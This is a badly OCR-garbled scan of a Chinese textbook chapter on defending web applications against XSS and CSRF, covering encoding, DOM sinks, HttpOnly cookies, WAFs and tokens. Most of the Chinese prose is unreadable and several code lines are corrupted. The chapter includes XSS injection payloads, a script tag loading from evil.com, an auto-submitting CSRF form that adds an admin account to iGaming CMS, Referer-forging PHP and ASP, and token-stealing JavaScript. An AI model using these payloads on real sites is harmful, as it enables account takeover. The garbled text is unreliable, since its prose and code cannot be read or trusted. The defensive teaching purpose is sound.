'onbeforeupdate', 'onblur', 'onbounce’, 'oncellchange’, 'onchange"',
'oncontextmenu', 'oncontrolselect’', 'oncopy', 'oncut ', 'ondataavailable’,
'ondatasetchanged’, '‘ondatasetcomplete’, 'ondblelick’, 'ondeactivate’,
'ondragend', ‘'ondragenter', ‘'ondragleave', ‘ondragover', ‘ondragstart',
'onfocusin’,
'onfocusout', ‘'onhelp', ‘'onkeydown', 'onkeypress', ‘'onkeyup', ‘'onlayoutcomplete',
'onmousemove ',

'onmoveend',

'enclick',

‘ondrag’,
'ondrop’',

'onreset’',

M 8-6 hal LLE |, RemoveXSS()ef EUK AT 5 I 5| 5 &#39:3E L AK!, TIHS| S ¢F XSS

ZHME, FrolzR R AR e XML L.
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®eE _IEFFfEJXSSISEfE

A http://127.0.0. 1/test. php - ¥indows Inte
XHE ®EE FFW EWQE IAD WRW

QFe- ) x| 2] e emx

I @) http://127.0.0. 1/test. php

iss test
xss test

aE8-7 WMiALER

P Lz At AN RER, Tl YT HLZSR, BTN, R AR 0 0 e AR AN 0

LD web e mmmsn

TELAMIR, 17— FEEN: “—UIMANEBEAHM " B RIXRE, RAETk, AafE
SEAILIE R A RS A, LEBCATAT MAR UL R A 7E IR %50 EAT Web & &4mt5, ik # K
EERIID W i

FE 5 B AT LE U ) F AT RS . 5 S, SR XSS Bk A o i

X — OB AN . X Web NI, HahAN A RERE T H A . URL. HTTP
S+ POST #i#ié. Cookies I, AMICHETSE, Frek, 7ENXANFET R FRshZ&EN &M XSS Kt
i, FEMEAFE IR E.

(1) body .

iAW F HTML J B :
| <bo#iR: {REVFEH <?=$query?>EHBEEfIER</b>

Yyidi & vl RE¥F s & N 7 Squery B OB R XSS HA -

| <scriptrevil_script()</script>

IR [FIF) HTML %549 4 :
I <p>$5iR: {REVFiH<scriptrevil script () </script>EHBEEEAER</b>
| 27 IRFA
o FHIREfR A XSS M F 2 AN Y HTML S2444C# (1 PHP [¥) htmispecialchars()3) fig—30):
® < (T4 B &t
® > (KT ¥l &gt
® & (%) ¥l &amp;
e« OWNGlS) ¥R &quot;
® (PGS R &#39.
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8.3 Web £ HmiHE

(2) HTML 43PN .
—46 HTML #3%, Wi<input>. <style>. <color>%F(1 @I RENBIEN TR, %GO FH 4L

XSS g
FEE EAR 1«

| <div>FEHE: $query</div>
ElE AP

| <input name="name" value="<?=$query?>">

Wik FHiEEA<. >FFFFE— A F B<scriptFric:

| =xss"><script>evil script()</script>

R, &[] HTML {8 an F -

| <input name="name" value="xss"><scriptrevil script() </script>">

WikF Al LLAAT “HA” W3S, FEA<script>bREERSER A, ] A8 AT 24 b 14CHD .

Z) U, BR T IREA < SPRIARFS . XAk A E R 5 S th AU T S .
Ab, &TRARESATH X, IR 2 30 %8840 fo1F 76 J& o i F & {javascript_expression} £ K.

5 Fh R AR R PEALEAT XSS BIER], JE7E value JRPEE B S S LB AR F.

B AT LA F () HTML 1865 4 B .

| <input name="name" value=<?=Squery?>>

EEWA}J :

I Xss onmouseover=evil_ script ()

JERJS M HTML X3k

| <input name="name" value=xss onmouseover=evil script()>

MZHEABDCHRE) input AR, BIAE ST

ik

AT —FF, USRI T SCHD AT

® < (TS B &t

® > (KT9) ¥l &gt

® & (') ¥ &amp;

o “ (WG R &quot;

e ‘' (H5|lT) Rl &#39.

(3) <script></script> [N % .

FP S B N 25 0] g £ FL#E I\ JavaScript {853 2, IXPE AR 46, VR AT
B oAb A XSS Mk, HUH % B4 JavaScript B AR a] SCEL A it .
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B8 Di#XSS K

Bl

<script>
var msg='<?=Squery?>';

<fscript>

AN

| =xss'; evil_script(): //

%%ﬂ;%}iﬁi

<script>
var msg='xss';evil_script(); //

</script>

PrEd, R % sl /D 7L Javascript L FICPEI AN S, AN BTS2 T 308 0 A i
4k, {E JavaScript "2 tH Bl</script>CHt F 5 AT T M) <script#r 8 &, LA /* */%F JavaScript
BSOS, Brooix 87 /5 2k 17 g b0 28 .

TR 7 i
CCHE[E) B\

& (G5 FAk
\ CRFHLD) ¥R\
/ QEFHL) ¥k Vs
\n (HATAF) #plin;
\r C(HIZERF) $ .

(4) JavaScript F+{f .

B T fE<script>bRic (A 2 aE HTML AR R M P B RARES, EaTLAFIA] JavaScript
S fuh A s ik B A . PR A JavaScript HH4 4 PR pf £ 0 onClick. onLoad. onError ft)Z¥0 Al el
BN

H BT
| <input type=button name=smt value="HE" onclick='GotoUrl("<?=$targetUrl>");'>

LA N -

I foo");evil script(" '

IR [l HTML 4885 2 -

[ <input type=butto& name=smt value='ﬁ%ﬁ§' onclick="'GotoUrl ("foo"):;evil script(""™);'>

IXFEBL F, iAW ARBEA T HTML L F 3, LAET JavaSeript b F3CH, M3 SLAS A% 4T IR
Pk, NAZSEXFRAEAT HTML ¥ X, PREAT JavaScript $ .

fR Ry i
® < (/TT) Bl &t
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83 Web RoHmME

® > (KT%5) ¥l &gt;
& (F%5) ¥ &amp;
“(WE5) HK &quot;
COREIE) Bl &#39;
\ O ORFHL) Hepl \s
/ CIERML) ¥k Vs
\n (#RITFF) Hpl\n;
\r (EIZEFF) SRl
(5) URL J&@f%.
REL g, <script>. <style>. <Img>FFr%M] src 2{ href BEYHEEA VHENTE, FibyamE
ifRiX s URL #4748 )Rk,
il -

| <img src="<?= $script_url>">

AR

| Jjavascript:alert(0);:

IR [F ) HTML fXH% 40 F .

| <img src="javascript:alert(0);">

IXFFRLE, B # el LRI JavaScript O BMXAE TE 6 3530 J02% EPATESREIA . BRATHR%
H 7 b —Fii B o
il «

[ <script src="<?= $script_url>">

EREWAN

| http://www.evil.com/xss.]js

iR [A] i) HTML AR5 4 F -

| <script src="http://www.evil.com/xss.js">

Tk 5 in ST DA R85 | 2t Ak IR 45 2% 1) JavaScript SCHF, BF R — 20 G B i i

—AEBL T, REAELE URL B #6], R 2 Web NI, P 752 A & SUA
s B Bk, BB R AR UL IE (BRI S B

® H5E href i src {2 LA http://HF 3k

® BE AR HHEBIR-T NI R 4R T

* HEREHELGS “HE.
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WA TWaSe R

HTML Fil JavaScript R 55

< (UpFH) B %3C;
> (KTF%5) ¥l %3E:

“OONEE) B %22:

“CURG|S) B %27;
\OCORAHL) R %5C;

I CIERHL) $ K %2F.
FFEXF URL 50 -

TR HR %20;

+ (%) #Alk %2B;

® = (FT5) ¥l %3D:
® % ([4rS) HM %25;
® & (RI5) ¥l %26;
® # (H5) K %23;
® 2 (ju'5) ¥ %3F;

| CERIL) ¥ %2F.
SARUE, XM F AR bR ERE R —ANEEE, B R R AR AT B N B o] i th 2 AT AR
e bR ST EE SO SLBEAT b .

[T} 54 DOM-Based XSS

DOM-Based XSS A& —Fi LEELRF IR () XSS, BT LR (6 B 80 A7 v th A B ) 4 i A IR KA ] .

DOM i) XSS F- 2 th 2/ v ) I AT it DOM Sh 7 80 B0 Ul b, S AR TR A8
KOs IR 55 8% i 110 N7 P 50 3R 15 DOM b (IS fE A BT . th FRAL B M BEE A 7ER % 8800 H
B I R A, BT LU IR 55 % Ui 35 8 o0 0 4 il ot 1 ¥ R e i) fE 11

BT DOM [f) XSS Hriki B RPN £

@ BRE SR ES . T ) s U BUR R, R S B, X R R
{E i 55 s A Fl ah A DU R SE 3

@ 4rHrHIsEie?s ) i JavaScript 1065, JUILRE 2652 2 H P 0 Dom X% .

M URL 3KEL():

document . URL

document . URLUnencoded

document.location(.pathname|.href|.search|.hash)
i window.location(.pathname|.href|.search|.hash)

Referrer J& 'k

| document.referrer

windowname J& 4 :
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84 Bifd DOM-Based XSS

| window.name
oAt iy AU th AT BB 2 T8 DOM U] XSS, AfF SR MAFMAT S, W

document.coockie

HTMLS5 postMessage
localstorage/globalStorage
XMLHTTPReguest response
Input.value

- Jr, HEEERE B DOM MIGIE HTML SCFFIAE G R 3k 777k, Amit Klein $23)
ik Jr ik
® Write raw HTML, e.g.:
» document.write(...)
» document.writeln(...)
» document.body.innerHtml=...
® Directly modifying the DOM (including DHTML events), e.g.:
document.forms[0].action=... (and various other collections)
document.attachEvent(...)
document.create...(...)
document.execCommand(...)
document.body. ... (accessing the DOM through the body object)
window.attachEvent(...)

Y VYV V VY ¥

® Replacing the document URL, e.g.:
document.location=... (and assigning to location’s href, host and hostname)
document.location.hostname=...

¥V ¥V VY

document.location.replace(...)
¥» document.location.assign(...)
» document.URL=...
» window.navigate(...)
® Opening/modifying a window, e.g.:
» document.open(...)
» window.open(...)
» window.location.href=... (and assigning to location’s href, host and hostname)
® Directly executing script, e.g.:
> eval(...)
» window.execScript(...)
» window.setInterval(...)
» window.setTimeout(...)
SbAbh,  FEHE AR G B DT A B A G P GRS EE SCT AR, B B <script>h,  Af LT
JavaScript %ifh; EHTH F] HTML A& ak8 ik, WEHEAT HTML 4R9A0 38 . 75 B4R A W) 6 7 55 K H
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%8:&_ B i) XSS Wik

A1) F) G g A R 7 5K
HE KT DOM Based XSS S SB35 H 00 P 78 0] LAZ25 I [ FR) BE 464«
® DOM based XSS Prevention Cheat Sheet:
https://www.owasp.org/index.php/DOM_based XSS Prevention Cheat Sheet
® OWASP (1) DOM Based XSS % i
https://www.owasp.org/index.php/DOM_Based XSS
® DOM XSS [1] Wiki:
https://code.google.com/p/domxsswiki/wiki/Index

0 smwmmn

XSS MHGHE A O 2, FE AP E4A ARG L. M2 T, &3 XSS 1
S BN B V7 12 B AR IR WL

SEIB A, SR RAEXT XSS Bt il t A7 BRI, {EL R i B AE AR R — 5 I 5 it XSS BEAT B i,
XSS Tk feh 1 e 8 ple 56 Jo 1k 110 e 36 o

A AB I XSS (1 HAh 5.

8.5.1 Anti_XSS

BT, AT 7 ASDE T Tk sE g i A BEAT XSS Bidu i Fn k. sbs b, BlES
24 A0 LABI TG XSS Jh H i & FFEnT fEH], 1 Anti_XSS.

Anti_XSS (Microsoft Anti-Cross Site Scripting Library) 2 &K JF &M (NET P& F) H TPk
XSS #5 0k A B R, SRt 7R gD R EON TACEEH IRA, wT S BRI (4 L

AR et .
! http://www.microsoft.com/download/en/details.aspx?7id=5242
Anti_XSS [F)cad FIRMET 9, SLBEAE net T H *H 51 AntiXSSLibrary.dll SC{FaE R #4236 MSI

FEFFRRNT . 232 5 HF FA LUV 30
Antixss.chm: SIEEENREFMSENAE

HtmlSanitizationLibrary.dll. 8& sanitizer 2 (BAASBH )
AntiXSSLibrary.dll: 8% Antixss, Encoder % (X )

G 00 e SUR PRI AR DG J5 i 3 8-3 Frows

¥ 8-3 HHxmAZE
9RES ik ERER =
. - ” <a href="http://www._cnblogs.com”>
HtmlEncode(S ANZAGAT I HTML {LR
. . T L AL REAAE IR A/
HtmlAttributeEncode(String) AEZ{HATIM HTML Ji ¢k <hr noshade size=[ ~52 {5 {T 1A >
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e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B 5 M http://www.17huan.com 1% 2.5T s il oI S5 RE BEUR, PR HCR I R s

8.5 HftbpaifAR
£ 2.5
£ TEY S EREER = W
<script type="text/javascript™>
JavaScriptEncode(String) AZATAT 050 A AE JavaSeript PAEH] | [T MHIA]
</script>
UrlEncode(String) LM URL <a href="http://cnblogs.com/test.php?q=[ F 5% {5

{T1f) URL™> text </a>

<script type="text/vbscript” language="vbscript"™>

VisualBasicScriptEncode(String) | AS (G A4E VBScript H{EH | [AZGE{EMHA]

</seript>

<xml_tag>
XmlEncode(String) FREZEAFR AR T XML $ath [EREERERIGE TN

</xml_tag>
XmlAttributeEncode(String) AT XML I8 1 <xml_tag attribute=[F 2R EMIA]

>text</xml_tag>

i Anti_XSS i 3£ &) HTML/JavaScript BIAIR ]9, JCERAE BB ETER N4 T & F0 API

M6 i, ke 8-8 fiiaR.

B’ Anti_X55 Li

brary Help

A <« %
Fam Rk 1 :itllilll S
| [~ Celapse Al Code: Al ¥ Hembers: Show 4l
BEROC | ®® i wE | |
ere—— : .
g _ “|l AntiXss.GetSafeHtml Method
+ ol iy |
5 K55 Sacunty Aurtme Engre 1 Antirss Class sengd Feedbace
+ Anti XS5 Tasi Hamass
Llg: s | -~
{7 brpodare | I - Overload List
7] Fre 3 Qugtizng |
= W) Memeoh Securty Appicaucn Namse | Name Description
- u-l 1753 Class WS GetSafeHtmi Returns a safe version
riixes Membern | Stningl of HTML page by
= [u Letires | a«---, | either sanitizing or
8 | removing all malicious
| sCrIpts
Hr W Get safe version of
" it HTHL
" ¢ il
+ | Overloaded warsion
. | where safe version of
2 valbes ! | HTML page is by
2 > 1 aither sanitizing o~
7] #miE i ramavirg all mahcious
4 | scnpts
| ¥

Wi Sanitizer.GetSafeHtmIFragment(html) /5%, # LI #edsi HTML S0/ B &8 7197 . 1%

LA TG

var html - "<a

href=\"#\"

AaE B-8 Anti_ XSS MUiRAEA

=javascript:alert ('X5S")><javascript>ralert('a')</javascript>";
string safeHtml = AntiXss.GetSafeHtmlFragment (html);

onclick=\"alert();\">test</a>javascript<P><img
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®e® B@XSSEEH

I Conscle.WritelLine(safeHtml);

Felf th R M 45 R 2

i <a href="">test</a>javascript<P><img src="">alert('a')

Bl Anti_XSS 5 =77 & HIFE R8st At g 4k il 55 s A e i e ok, Rl R e RS % A AT T 1
g AT RESIA ISR .

8.5.2 HttpOnly Cookie

B7HX Cookie &M% WLH) XSS BUt Tk —, RIFIH XSS Brti T T 0k [ U 5w o 76 [F) 95 3R
B VS, Cookie B W et MLey MY ¥ M DU ], SR TS XSS diFl, Hidi# vl LUR)H
JavaScript 1 ff] document.cookie 77287 HUH 1 19 Cookie.

ME — MR B 12 1) 23 (1) S M2k & 48 H HittpOnly Cookie.

HitpOnly Cookie J&—FffRELMXFHT XSS WP #TF-B, HBF hMEKAE 2002 4Ff Internet
Explorer 6 SP1 15| A\. Web I 75 5 B Cookie I, Kf I J@ ¥ b HitpOnly, & n] LLBE 64 %
BL[F) Cookie #7775 /" ¥ JavaScript £7H, 0] ELERYH /7 () Cookie A4k i Hi .

R A HTTP-Only Cookie ##:L 1<%, ik 8-9 fiis.

Wi

Set-Cookie: <name>=<value>[; <name>=<value>][; expires=<date>]

[; domain=<domain name>] [; path=<some path>][; secure][; HttpOnly]
'B"If

[ Set-Cookie: MyHttpOnlyCookie=2009/11/26 E9 11:49:50;path=/; HttpOnly;

Headers R:;:eived value

(Status-Line) HTTP/1.1 200 OK

Cache-Control private

Content-Length 26887

Content-Type text/html; charset=utf-8

Date Thu, 26 Nov 2009 03:99:50 GMT

Server Microsoft-115/6.0
Set-Cookie MyHtipOnlyCookie=2009/11/26 4 11:48:50; path=/; HttpOnly
X-Asphlat-Version 2.0.50727 '

X-Powered-By ASP,NET

4® 8-9 HttpOnly Y Cookie

*—~ Cookie 7E Set-Cookie ¥ B kP #1ic & HitpOnly B, SZKF Cookie 13 %5 2845 BH 1125/ iy
JavaScript Vi 1% Cookie, M iij ik Bl {54 U K 9 H i .

ANE ], H B R 2 BT Cookie S S IE Y, B¢ 4F 5 & 4 HitpOnly . £ PHP # % F HttpOnly,
A LR LR A ik

@ &4 php.ini 30, BE AN 1 885 TRUE, KJF)H 41 Cookie ff) HitpOnly J& .

| session.cookie httponly =1
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@ setcookie()if $ Al setrawcookie()B&Hth L[ 14500 T 58 7 AN EORMCY HupOnly BT, JF
KR

setcookie ("abc", "test", NULL, NULL, NULL, NULL, TRUE):
setrawcookie ("abc", "test", NULL, NULL, NULL, NULL, TRUE);

@ {E PHP RS R IF A -
<?php
ini_set ("session.cookie_httponly”, 1);

session_set cookie_params (0, NULL, NULL, NULL, TRUE);
?2>

1T HttpOnly LL W3C h#xdkE, BT LL Web F2/718 & &6 o] LA % E 1 (52, 20 1 #, HitpOnly
Cookie M /& 5-Sey W aS AT SRE (0 FRBAEINLE], XEREA, AL N RaS AL FF HipOnly

Cookie.

8.56.3 Noscript

MBI XSS Briki i BERAR, BEATHRFD Web JUEAS AT B2, A TIRBEEZME
AtE, ATLLE 2 e S W AR AL o AR 2 88 L R A 8 245 BT I AE 1T, XA
S RE B ANME, i Firefox [¥) NoScript ffifF g ¥iX — ] 8

NoScript J&— 3K H W TG, $20E% Firefox. Seamonkey FIILAthEL T Mozilla 31 1 28 (1) %
SMEDT . AR IE BT A A, Eerehlid A e SGRE RVPlE A, mE 8-10 FraRk
Noscript 4805 A< () 4 ] .

Noscript ] F#iht 4: https://addons.mozilla.org/zh-cn/firefox/addon/noscript/, %37 J&5 & ji
Firefox B n/ 1], anfE 8-11 fras.

ecurity you can get in

@ NoScript .
by i | .

'%ﬁﬁiaafsfhfﬁéy

Privacy Policy

| § SmUKME | SoRFD: 10 | OHECD: 0
a[E 8-10 Noscript $#M% aE 8-11 %% Noscript

Noscript )48 FIIR M52, CLBriR MOy 6, 7E1% M 00 ik b 8, #06H58 2 NoScript 7,
RGP “ SLVF sina.com.en” BUIA AT A EI W], Wil 8-12 Frzn. #7H Noscript BHE4 T4 [f1<script>
BAs, W2 R TR TR -

nPE 8-13 PR, £ “Noscript #I” & rh, M “P&90” IR, Al LU AN Mk
HihE X485,
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RoScript IR

wH OER wAmHE AWl s !
EAT L T RS, (AR E e PSR E (Al !
“hitp: /Meww. 3ite. con™ BEF “nite con” JRRSBE “fLF" . i
hllp.H:ﬂ_ﬂ sina. eom end]

hotmail. com
imrworldwide. com

S fLIF sinsing en
%&ﬂ'ﬁ.’ i¥ sinaimg cn

Sy 5T R F sine. com ea

S.J_ft# allyes. com
%#’fﬂ# allyes com

i BRI v i
&) BILERBAIAS v : : m—
@ Tt || O ] [(sA | [(se | [(®Ee | [ wm= | [ _®=m |
A 8-12 {#H Noscript ¢ AF8-13 EXHR/E

i “HRARIXT S JETR, 9% NoScript AT ARG IMA, LU 4tk, Wi 8-14 FiR.

NoScript i

4 pee BABHE sm i o
MR AR
Tl e WIS I E BN .
[F] ®ik Tawa® [¥] %1k AUDID> / <VIDED>
[¥) 21k Adobe® Flashe [ 2.4k arrane>
[#] Bk Microsoft® Silverlight™ [ ] S50k FRAME>
(V] B [#] Bk @font-face
[7] MR 050 5 IR Rl AR
[] BH L B EE L N0 (B SR R
] Bk websL
] BB H
] M FEFENTARS AR T TSR
[v] RS T AT RN S T E
7] RARER A8

B CleawClick @FF. . .
¥] TAIRENE [ AEENE

(o | [(s2 J[ st J(==e | (@ ][ =W |

AE8-14 mIESLEBA
8.5.4 WAF

Fe 1 A HT LA 7 B0 s vl B A i ik, 3 W] LAfEFT] WAF #R70 XSS.
WAF (Web Application Firewall) 4§ Web B #" RGrak Web NI Bl kB, 2L TR T
Web (1) AP B0, EERDIRELB G MM IR D, XSS LLK CSRF %4 WLIK Web i
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86 B CSRF K

Brite, A A NbBRBE rp i 52 00 .

[H N4 VF % WAF 7= &h, W1 Safe3 WAF. %¢% WAF IR WAF 55. & 8-15 Fr s b #KiR WAF
(1 S i

Bl AT AT TRl e i g% . LB B H M EM, RSERBET “ZRS” REMZE
EHE R, iz wafy 2 SRS F 6% . BN EEW T 2 niEH B = L2007 EE R 360
A5 G T 0 e 4s . e 6 5% () hn e AR 4% .

sk iTWeb S R EG 30 B 5% e
ﬂ:@l... eb H Bp #P F 4 S ] G
DRI
Py 0 e = fRlEE x TREg < ARER o s BN, T
#& C R | R | o meE MRSEEEM: 20110121 ¢ EW) | BHEE
L £ wasE AMREE & WP NTT Boe @ B £ W UR
. 201401 vendowsiFRREH . 19216 LAN 19216 2. 80 M G mpap. -~
2011-01- SOLEA P Umon@il 19296 LAN 19216 2. 80 XNE G nipop
P1m26. LAN 10216 2. 80 O P hipop.
200101 SOLEABT|S B . 19216 LaN 19216 2 80 Wil 5. hipop

ik ie

=
1.
1
o 201101, 1. EEPNPSpYZ00SKETN
1
1
1
1
1
1

2011-01- SOLEAPRAESY. WA M B 19296 LA 19216 2 80 B ¢ smpip
2011-01- SOLTE A WTHREE 182 16 . LAN 19216 2. 80 ¥ & niipip
2011-01- Wb v SmEiTE 8 18216 Lan 19216 2. 80 HNE o mmpup
201101 @FRTIMA PostCooke) B . 19218, LaN 19216 2. a0 HE P mpup
el 2011-01- Wik Jioiderkd kfE 8. 19218 LA 19216, 2 a0 ER P nepip
EE 2011-01- 1 MiksspSp AR b B 10215 LAN 19215 2. 80 WM P mmpip
::“ L 201401 1 MEMYIOPHakangRBiTR . 19216 AN 19216 2 80 W@ G hepin
Bac-'.. 201901 1. WuEWebshell bf§ 192 96, LAN 19246 2. 80 M P nipip
lmﬁrm 201101 1 BUEPhpSp2005FE k1§ 8 1021 L 19218, 2 60 W P mpop
e 2001-01- 1. SGLEENSRm 19216, LAN 18216, 2. §0 @ G. mpuop.
(S M4 B 2ma20W » M 27 3 #3 0 FiZR, —R TeE

AaE 8-15 #Hcll WAF

(1w CSRF

R K, TAVKEITIE CSRF (FIBh 88 47 7.

AT AR LR A CKEI CSRF By JR PR BERE L, tn SR iE #5508, vTLAS S 7.1 WA E.

FRi® EoRVF, CSRF Lk XSS 84 ¥, thE AL 2. XA “UilEPrEN" Z B LAYE AR
{i, it DR OR R e 58 A LU P (6 SO AT, i R A 0] 884 1 G ) 73X S CSRF Batiid
STk HTTP i K.

K TP CSRF ¥t (f1 )7, Nexus 4 22 E playhack.net bR # it — R B &5 118 3C Preventing
CSRF, #% Ik, BAVKAEZXEEHTFIARE L —— 4 CSRF MBI #HTFB.

HHT, Bt CSRF Brai ity A id 847 i 18 JLFb

® f{§f] POST Ji:U# L GET:

® |04 HTTP Referer;

LA AR TR

® {§iH] token.
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8.6.1 fEMA POST K GET

PP RS REQUEST Jy i kIR K, VEmE A EER T8 CSRF Zili I FHFRHZ —.
FEk, eSS, EATEKA POST. GET Jiik, REAFH POST U GET ik fE i
i, FEA] LAAE— @ 25 L3 4 CSRF (L & A B H <img>284r %53l GET J7iLi#4T CSRF).

1€ 7.1 A, FRAILL iGaming CMS 1§ 4 CSRF £ 6347 T b, il #i% LA F URL % 5h CSRF

it
http://127.0.0.1/iGamingCMS/admin/users.php?do=add confirm&email=1%40cc.cn&fname=firs
tN&lname=LastN&password=111111&pseudo=222222&submit=Confirm

MEH R RIS, S7EE G s N AN 42 o0k 222222, FEH 111111 S AKS .
48T — Fi% CSRF Wi (IR o 4T HF%E 14 users.php, A B FARHS H B -

if (defined('SUPERADMIN MODE'))

{
S$module->header () ;

switch ($_REQUEST(['do'])
{
case 'add user':
$module->add_user();
break;
case 'add confirm’:
$module->add_confirm() ;
break;
case 'Delete User':
$module->delete user():
break;

B S %4 1 add_confirm() A B SE Ak, 1% pA H{E/sources/admin/users.class.php H1 4 72 X

function add_confirm()

{
global $db;
$rs = Sdb->Execute ("SELECT * FROM 'sp members’ WHERE 'ID°’

$record = array(
'PSEUDO' => $_REQUEST['pseudo'],
'PASS' => md5(% REQUEST['password'l},
'EMAIL' => $_REQUEST['email'],
'"ACTIF' => "1",
'NOM' => 'Administrateur’',
'fname' => $_REQUEST['fname'],
"lname' => $ REQUEST['lname']
)i

srssgl = $db->GetInsertSQL($rs, Srecord):

Sdb->Execute ($rssqgl);
echo '<center>Admin account has been created, <a href="users.php">click here

to continue</a>.</center>"';
}

XB AR IR My A, R IRBGR A S A G R, R)GI06EBREABIRE, #in— kS . R,
T IX B IR SR AC A R 72K H T$_REQUEST, {434k POST f)#:4% o] LAMH GET 4 X3k 52k,
S5/~ CSRF il

= 1-1"'"");
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FreL, RPTEIAI . RAGM 7IX— AT OV PR R A, N CE N U POST W53k,
GET i 3R UKo R I . X4k, Hh#E A Rl & ok b ik 1 .
MR, Bk o] LAZE LA g EAEFIASHT Wi, A JavaScript AR 4> POST
ik, POC 'k
<form action="http://127.0.0.1/iGamingCMS/admin/users.php" method="post" name="main">
<input type="hidden" name="do" value="add_confirm">
<input type="hidden" name="email" walue="1ll@cc.cn">
<input type="hidden" name="fname" value="firstN">
<input type="hidden" name="lname" walue="LastN">
<input type="hidden"™ name="password" value="111111">
<input type="hidden" name="pseudo" wvalue="222222">
<input type="hidden" name="submit" value="Confirm">
</form>
<script>
document .main.submit () ;
</script>

gt W, BARAER POST #4X GET #fF 77 sAANGESE 4B CSRF, {HZ 1 bk (K 4E 1 -
K nfer, FFRN RIWRAZN L)X 5r4F POST. GET NI i, BN T Vet A e
IR I QIN R sy

8.6.2 #I HTTP Referer

Y3 &b —FhE WL CSRF (97775 %k HTTP i KK . (Referer).

7E HTTP k9l 34— Referer FBL, % FBLCR T HTTP Wi R R HuhE, 84 AR
Hhuhk 2 Sk (5 3 O Sk e FE (X T T T 8 B8 A8 R M AR AES 1) CSRF ik, NG At o1 s
UM RAE %5 )

—A~ LT ] HTTP Referer [F1S2E0 7500 F

if (eregi (“www.playsec.com”, § SERVER[’'HTTP REFERER’])) {
ok(}):
} else {

echo "JEIRIERK!" ;

}

), XFh Tk RIPEAT B IG. [ HTTP Referer 2 fh 25 /2 i) 028 A aX (1),  Fv LLnT LA 46 2%
FithiE. HATESH i T An UMEE R Referer (M, iR EEEFIH PHP XK Ohis
HTTP Referer 4% i .
<?php

$host = '"http://www.target.com';
$target = '/test.php';

Sreferer = 'http://www.playsec.com'; //{Ai5 HTTP Referer Hidik
$fp = fsockopen(Shost, B0, $Serrno, Serrstr, 30);
if (!'$fp){
echo "Serrstr (Serrno)<br />\n";
} elsef
Sout = "

GET S$target HTTP/1.1
Host: S$host
Referer: Sreferer
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EOW BEXSSHE

Connection: Close\r\n\r\n";
fwrite($fp, $Sout):;
while (!feof($fp)){
echo fgets($fp, 1024);
}
fclose (Sfp);
}
2>

ASP 8] LU BRI Tk, ARFS T F -

<%

dim http

set http=server.createcbject ("MSXMLZ2.XMLHTTPE") '//MSXML2.serverXMLHTTP el
Http.open "GET",url, false

Http.setRequestHeader "Referer","http://www.playsec.com/"

Http.send()

>

Frliit, ELEWFh i B ANGE 5 L4 CSRF Hiti, ALy —SnliTmM e 7, B2 EH
B5FPSH token.

8.6.3 ity

AR S BRI N AR, #ERITER b IS B L BEPLARERS, I
AR 3RAE 3 B o A TR

{F H B RSB ANME A] LAHEH CSRF, i wn] AR IS EEM . S5, EKNRZHERFITH.
O UERSAT T F P R UE R L AR RE, el RNE — RL AE  BCT BRS A WR R, FRE R
RS #, RS P R UERS (S B A R R TIR AT, M S IE R Ih G A REAE
MXETThEE, W 8-16 Fis.

W 8

T B

%iFi.
Pl
T raHER
 BR

A[E 8-16 fEMIEUEDHEA
N THeAEm, ol DR 5683 B A o FAERS, AR — B PimBah AR, i —&F
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8.6 Pl CSRF B

BB A TR 5 56 UERS .

Pt erEm s, BUERm T B AT S P CSRF MFBL, (HR Y — AR s KR A H I fE
i, SRR RUES S BRI v, thm P AR,

AEER, RATBUEFEFEENG S, NZ5EAH RIS,

8.6.4 fEH Token

CSRF Z Bt LARIh ) — AN B R P A . Bk & Re 98 UM D R P ) G B B, DRIk, 76
KPR\ B i B AN e O & 15 Bk ek 2B 6 CSRF HIEH] .

#ltm, & HTTP Wik LA B AN —ABEHLA A (K2 M (Token), F7E MRk %528 i %
HATHUE . i FF K BT Token B Token W ZEASIERA, WAk vl g2 CSRF Mk I6 48 i% i K .

Ehr L, RS AR UERS ) R EE AR, HAEHMAR, ArE 2N T oREBCEIi Rk —
R AU B, Jo& ERREN TP POST U K 3 57 3242 (1) ) i .

R, AT LFER Token Bifll CSRF )51k, 4 5l&7E Cookie H1, HTTP Sk{# ]
token $0UF, MAFH FhET - UtE4 R B 7 .

® (Cookie token.

] Token EHE—xi: LM R Token MAIEK?

XY GET 2K, W ¥ Token P fEiff kil 2 J5, URL 22FpK.:

| http://www.test.com/test.php?token=tokenvalue

{RIXFEE Token {8 5 5% 7€ M Ak 2R A E 421,
MxT POST &Kk, o LAZE Form [¥)45 )5 in_L- Token:

| <input type="hidden" name="formhash" walue="tokenvalue">

RS ME, MISSEUIRE 4 T, HR&0 RS MK 7 e LR nTRi#er, o] LUl
HroRUR U A SCA, RIS RN 2.
Mt b A7 7 XSS Wil Bt kel UFIR] Ajax/JavaScript 5 A SRR 51 P ) Token .,
Tk F
xmlhttp.open ("GET", siteurl+"test.php", false);
xmlhttp.send();
var echo = xmlhttp.responseText;
var reg = /\<input type=\"hidden\" name=\"formhash\" wvalue=\"{([\w\d]+)\">/i;

var arr=reg.exec(echo);
var formhash=arr([1l];

WAy — T & K H Cookie token )7 zL 17 5 CSRF, HP4" Token {H i Cookie . MPE I
deist, it & AfieE 5 KA 5 = J7 ) Cookie.
5, M K Cookie {5 B

<?php )
Svalue = "DefenseCSRF" ;
setcookie (" cookie” , Svalue, time()+3600);
>
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BoE B@XSSHE

RIG, FEFRAIEIN Token {2, LLAEIX SR A% i K .

<?php
Shash = md5($5_COCKIE['cookie']):
7?2
<form method=" POST" action=" transfer.php” >
<input type=" text" name=" toBankId" >
<input type=" text" name=" money" >
<input type=" hidden" name=" hash" value=" <?=S5hash;?>" >
<input type=" submit” name=" submit” walue=" Submit" >
</form>

We)a, {ERRSS 45 ImIEAT Hash {EYIE:

<?php

if (isset($_POST['check'])) {
Shash = md5($_COCKIE['cookie']);
if ($_POST['check'] == $hash) {
dodob () ;
} else {
}
} else {

}
o

{ff /1] Cookie Token J& b4 ] o 1ii EL5 (B4 CSRE (#9473, (B, SR FRAR b tH B0 XSS
i, Token {45 AT fit 2kt 8 1.

® {E HTTP ke SR M FEuiE .

KFh 7 A8 ] Token HEATIRAE, 1 b—Fh AR R, X B IFA LI Token LIS,
BT HTTP iR, MW EBE HTTP ki A & X it .

e 5 i e g 2 S b [ A8 — AN SR 80 L Token, {EIXCF 7 L ARBR, 7 HARZ 5 HBLELR
FIFH HTTP Sk P G v b iR A, i 8-17 B, '

X-Requested-By: XMLHttpRequest

a[® 8-17 FEHTTP A0 Token

R R AL, BT SR S XMLHttpRequest 3K, XFE—JLTFEES KA
Rk, AL JCBE ARSI

® — k¥ Token.
